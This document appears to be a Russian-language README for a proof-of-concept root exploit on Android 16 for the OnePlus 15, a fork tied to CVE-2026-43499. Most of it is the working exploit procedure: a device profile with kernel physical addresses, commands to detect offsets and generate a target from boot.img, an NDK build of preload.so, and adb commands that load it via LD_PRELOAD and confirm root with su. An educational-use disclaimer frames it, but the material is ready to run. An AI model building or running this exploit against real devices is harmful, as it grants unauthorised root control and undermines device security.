
Учебный proof-of-concept для локального повышения привилегий в Android 16 на OnePlus 15, включающий определение смещений ядра, генерацию целей и сборку эксплойта на основе LD_PRELOAD.
ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий предоставлен только в образовательных и исследовательских целях. Никаких предварительно собранных бинарных файлов или релизов не распространяется. Вы должны собрать всё из исходного кода.
Локальное повышение привилегий в Android 16 для OnePlus 15.
Форк x-spy/CVE-2026-43499-popsicle с исправлением выравнивания kallsyms и подтверждённым профилем OnePlus 15.
Профиль содержит два физических адреса, которые необходимо подтвердить на рутированном устройстве с той же прошивкой:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Автоопределение с рутированным устройством:
python3 detect_offset.py
Требуется Python 3 и llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
Если NDK не обнаружен автоматически:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Результат: source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id